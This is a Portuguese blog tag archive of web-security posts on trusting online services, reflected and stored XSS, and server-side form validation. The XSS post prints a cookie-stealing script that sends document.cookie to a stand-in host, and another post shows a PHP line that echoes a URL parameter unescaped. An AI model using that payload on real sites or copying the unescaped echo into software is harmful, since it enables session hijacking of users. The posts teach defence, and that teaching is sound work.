Tag Archives: segurança

Ideias

Uma questão de confiança

Published by:

Há já algum tempo que se me coloca uma questão acerca da confiança que tantas pessoas colocam em sites, mesmo em sites dos quais pouco ou nada conhecem. Hoje deixo-vos com alguns dos meus pensamentos acerca do tema.

Emails dos Amigos

Um dos mais comum testes de confiança é efectuado pelas redes sociais quando pedem as passwords dos webmails para ir lá obter a lista de contactos e adicioná-los automaticamente à rede, ou convidá-los a juntarem-se à sua rede.

Eu percebo o conforto que é enviar automaticamente convites às dezenas ou centenas de contactos que têm na vossa conta do hotmail, ou do gmail ou de qualquer outros dos webmails suportados.

Mas, acredito também que confie que os dados que está a fornecer à sua rede social nunca vão ser utilizados para nenhuma outra finalidade. Neste caso especifico, será de esperar que os dados referidos não são sequer guardados em base de dados ou registados em logs. Mas será que não são?

E que pode acontecer se por acaso decidirem utilizar os dados referidos para outros fins? Que é que poderiam fazer com esses dados?

Imagine que alguém com acesso a esses dados decide criar um programa para enviar SPAM personalizado. Quem melhor para lhe enviar um email a anunciar um qualquer produto do que uma pessoa com quem trabalha, que é seu amigo, ou que faz de qualquer outra forma parte das suas relações pessoais. E, claro, com o username e password da sua conta de webmail isso é simples de fazer.

Username de outros sites

Hoje existem diversos serviços que efectuam acções em consequência de eventos, como os que permitem manter as diversas contas nas redes sociais sincronizadas, ou as de microblogging. No dia em que um destes serviço caia em mãos menos confiáveis, todas as contas que lhe estejam associadas tornar-se-ão potenciais palcos de spam.

Mas nem é esse, sequer, o único risco. Imaginemos que um destes sites, um destes serviços tem um bug, que alguém descobre, e que permita obter uma listagem das contas que estão registadas nas suas bases de dados… Mais uma vez, estas contas estão em risco, apesar de as pessoas responsáveis pelo site em quem se confiou serem de confiança. São, no entanto, humanas, e o seu código é susceptível de ter falhas que permitam obter estes dados.

É extraordinariamente difícil escrever código completamente livre de erros, e mesmo quando se têm os maiores cuidados para garantir que estes são tão pouco quanto possível, utilizam-se inúmeros programas e bibliotecas que podem conter bugs. Apesar de ser cada vez mais simples criar um site, devido às inúmeras bibliotecas, frameworks e gestores de conteúdos que existem à disposição de cada utilizador, cada vez mais também, o enfase no desenvolvimento destas ferramentas é colocado nas novas funcionalidades e não na correcção de bugs e na segurança das funcionalidades existentes.

Isto faz com que a confiança que pode ter na segurança de um qualquer site que utiliza seja limitada. Mesmo quando confia nas pessoas que fizeram o site, quanto mais o site ganhar momentum, maior a probabilidade de alguém conseguir tirar partido do site para fins que os criadores do site e a maioria dos seus utilizadores não anteciparam.

Dados Online

São inúmeros os sites que permite manter dados relativamente privados, e até que implementam funcionalidades realmente privadas (como a facturação de profissionais liberais), e que oferecem muito poucas ou nenhumas garantias acerca da privacidade desses dados. Mas ainda assim têm muitos utilizadores, prontos, inclusivamente, a pagar para desfrutar desses serviços. Em muitos casos os serviços nem são legais (como no caso do software de facturação que não suporta IVA por linha, ou que não permite exportar dados no formato SAFT-PT,obrigatório para qualquer empresa portuguesa ou empresário em nome individual).

Eu sei, estes serviços online são muito funcionais, estão sempre disponíveis, e tudo o mais. Claro que eu gosto de ter este tipo de funcionalidades sempre disponíveis, mas também gosto de garantir que os dados da minha facturação apenas de mim são conhecidos. Não utilizo, neste momento, um sistema de facturação online, mas se utilizasse, seria um instalado nos meus servidores, não um disponível para quem quer que o pretenda utilizar.

A minha visão

Sim, eu sou um bocado paranóico, mas tenho a nítida sensação que a maioria dos utilizadores confia demasiado.

Mas é mais do que isso, eu sou um Programador Open Source mais do que um empreendedor Web. Eu poderia simplesmente criar sites e permitir que qualquer utilizador os utilizasse, por um preço determinado, de preferência. Mas o que eu faço é colocar o software que escrevo online para que qualquer pessoa o possa utilizar.

E isso deve-se ao facto de eu utilizar mais facilmente software que possa instalar em maquinas em que eu confie, do que sites nos quais eu não confio. Sim, eu tenho contas em muitos sites, utilizo muitos serviços online, como o GTalk, o Twitter, o Yahoo!Groups e muitos outros. Mas utilizo emails diferentes para todos os registos, tenho várias passwords, em muitos sites utilizo password geradas automaticamente. E aquilo que considero mais pessoal está em casa, num computador com um acesso limitado à internet.

E, claro, quando não encontro software open source que satisfaça as minhas necessidades de forma adequada, prefiro implementar a utilizar uma solução web partilhada.


Programação

PpW – XSS por parâmetro

Published by:

Já aqui falei nos perigos do XSS e dos parâmetros não verificados, mas não contemplei uma possibilidade que não pode ser desprezada. A de utilizar directamente os parâmetros.

Existem sites que utilizam parâmetros que são passados nos URLs para preencher partes do site, como sejam titulos ou navegações.

Um exemplo (em PHP, mas poderia ser qualquer outra):

<h1><?php echo $_GET['titulo']; ?>

Este código pode não parecer perigoso, mas na realidade abre uma falha grave, especialmente se neste mesmo site forem utilizados cookies ou outra forma de autenticação.

Trata-se de uma situação menos perigosa do que quando os conteúdos inseridos são depois mostrados no site para todos os utilizadores.

Neste caso é necessário abrir um url que tenha o código perigoso incluído. Isso, no entanto, é mais simples de se conseguir do que possa pensar, dependendo da quantidade de utilizadores que têm acesso à parte reservada, o envio por email ou a divulgação em forúns podem conseguir isso, e depois aplicam-se todas as considerações que se fazem em relação ao XSS.

Como prevenir

Tal como se descreveu no post já referido sobre XSS, nunca utilizar directamente nenhum parâmetro que seja passado pelos utilizadores sem, pelo menos, transformar os caracteres < em &lt; e > em &gt;.

Claro que o seu site é feito para os seus utilizadores, mas o facto de 999 em cada mil serem de confiança e não pretenderem utilizar indevidamente o seu site, isso não significa que deva facilitar o trabalho ao milésimo, da mesma forma que não deixaria a porta de sua casa aberta apenas porque conhece todos os seus vizinhos.


Programação

PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiText, BB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.


Programação

PpW – Verificar campos de forms

Published by:

Uma coisas que frequentemente me dizem é para verificar os campos dos forms client-side (em Javascript, no browser) e não server-side (em PHP ou Perl, no servidor).

E é relativamente comum os campos serem verificados realmente client-side, e nunca serem verificados server-side.

Hoje a Internet é um meio acessível a pessoas com quase todo o tipo de conhecimentos de informática, desde os utilizadores finais, que não querem saber muito mais do que onde precisam de clicar para fazerem o que querem, até aos hacker (NOTA: hacker é uma palavra que sempre utilizado para abranger todos aqueles a quem não basta saber que as coisas funcionam, precisam de saber como e porquê) que conseguem, no caso da WEB, fazer requests HTTP manualmente, sem utilizar browsers.

Entre estes dois extremos existem vários níveis e a maioria dos utilizadores dividem-se por essa escala de forma mais ou menos disforme.

Quando fazemos verificações client-side estamos a pensar apenas nos primeiros níveis dessa escala, naqueles que apenas utilizam o site da forma que ele permite ser utilizado, que se limitam a utilizar o browser, normalmente o que vinha com o computador quando o compraram, algumas vezes um outro que alguém lhes instalou.

Mas esquecemos todos os que se encontram nos ultimos níveis da escala, aqueles que conhecem ferrementas que permitem fazer submissão de dados por HTTP sem serem os browsers, e aqueles que têm os conhecimentos de programar essas ferramentas.

Fazer um pequeno programa que enviar dados como se eles estivessem a ser enviados por um browser é bastante simples em várias linguagens. Em Perl, por exemplo, não passa de meia duzia de linhas de código (se não considerarmos os módulos utilizados, que estão já disponiveis).

Se as verificações forem feitas apenas no cliente os dados submetidos desta forma nunca são verificados. Mas se as verificações forem feitas no servidor não importa como os dados são enviados, são sempre verificados.

Concordo que fazer as verificações no cliente é mais rápido, pois podem ser feitas campo a campo, ou podem ser feitas antes de os dados do formulário serem enviados, o que permite reduzir o número de páginas pedidas ao servidor.

No entanto, fazer verificações apenas do lado do cliente é uma óptima forma de acabar com dados inconsistêntes na base de dados.

Se pretende fazer verificações do lado do cliente, não se esqueça de as fazer TAMBÉM do lado do servidor. O tempo que ocupa com essa tarefa é facilmente ganho mais tarde quando tentarem colocar dados inconsistêntes na sua base de dados.


Em Destaque Programação

Programar para Web

Published by:

Quando se programa para Internet há todo um conjunto de considerações que é preciso ter, e que em ambientes fechados pouco ou nada se pensa nelas.

Quando falo em programar para web, falo de desenvolvimento de sites que estarão disponíveis para o grande publico, sites abertos. Há, claro, considerações especiais a ter quando se programam aplicações fechadas sobre ambiente WEB, mas isso são águas para outras moagens.

Há considerações de diversas ordens a fazer:

  1. Segurança – As considerações de segurança são as que vão no sentido de impedir que alterem o site de forma não pretendida, de impossibilitar que o site seja utilizado para propósitos que não aqueles para que foi concebido, e de não permitir a apropriação de informação que não se pretende que seja acessivel.
  2. Usabilidade – A usabilidade tem a ver com a facilidade de utilização do site, com a capacidade dos visitantes facilmente encontrarem a informação que pretendem, e de o fazerem da forma mais confortável possivel.
  3. Indexação – A indexação é uma das coisas que apenas quando se programa para Web se passa a considerar. E mesmo assim muitas vezes não se tem verdadeiramente noção da sua importância. Algumas pequenas alterações podem fazer toda a diferênça no tráfego de um site.

Segurança

Quando se fala de segurança fala-se de tudo o que tenha a ver com validar toda a informação que se recebe dos utilizadores de um site.

Muitas vezes essas verificações são feitas apenas nos formulários, e muitas vezes apenas do lado do utilizador, utilizando JavaScript.

Mas isto não é o suficiente. Ultrapassar validações efectuadas do lado do cliente é facil. Muito fácil.

Assim como também é simples alterar os parâmetros passados no URL, utilizados muitas vezes em links sem grande pudor ou cuidado.

Usabilidade

O local onde as coisas são colocadas num site pode fazer toda a diferença na performance desse site. Colocar um ménu à direita ou esquerda faz diferença. Toda a diferença.

Mas a usabilidade é mais do que isso. Como é que o site será visto por invísuais, que têm que recorrer à ajuda preciosa de programas que se baseiam na estrutura do código de um site para o apresentar?

Estão as coisas que pretende destacar nos locais que os utilizadores as procuram?

Indexação

Você todos os dias coloca novos conteúdos no seu site, tem já algumas centenas de artigos publicados, o seu site tem meses de existência, mas o tráfego que o seu site recebe dos motores de pesquisa é baixo, quase insignificante.

Será que o seu site está a ser correctamente indexado?

Estes temas serão tratados aqui ao longo dos próximos dias. Permaneça comigo, e fique a saber um pouco mais sobre como melhorar o seu site.

Artigos nesta série

Segurança

Usabilidade

Indexação

Performance